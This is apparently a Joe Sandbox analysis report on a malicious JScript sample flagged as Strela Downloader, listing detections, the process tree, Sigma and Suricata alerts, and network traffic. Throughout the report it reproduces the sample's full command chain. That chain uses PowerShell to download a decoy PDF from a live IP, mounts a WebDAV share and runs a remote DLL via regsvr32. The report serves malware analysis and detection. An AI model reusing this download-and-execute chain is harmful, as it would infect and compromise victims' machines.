Edit tour

Windows Analysis Report
2453210565523714481.js

Overview

General Information

Sample name:	2453210565523714481.js
Analysis ID:	1587868
MD5:	55baffe00b4def05a631198953002703
SHA1:	f830b317d7508db24d171e810b8dde99801d7c83
SHA256:	8b0e49586aa1f21e55b3c88c034ccb2195493c724f3fb79835f4876b69f728f9
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6640 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6008 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3040 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5440 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5840 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1556,i,12477727839145406114,14479775162683448985,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 280 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1596 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4344 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6640	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3040, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3040, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", ProcessId: 6640, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1596, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49710

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ProcessId: 6008, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", ProcessId: 6640, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6008, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3040, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 280, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1596, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4344, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 280, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1596, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6640, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll, ProcessId: 6008, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:47:34.715011+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:47:32.127953+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2453210565523714481.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2453210565523714481.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49710 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:47:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49710

Source: global traffic

TCP traffic: 192.168.2.6:49710 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

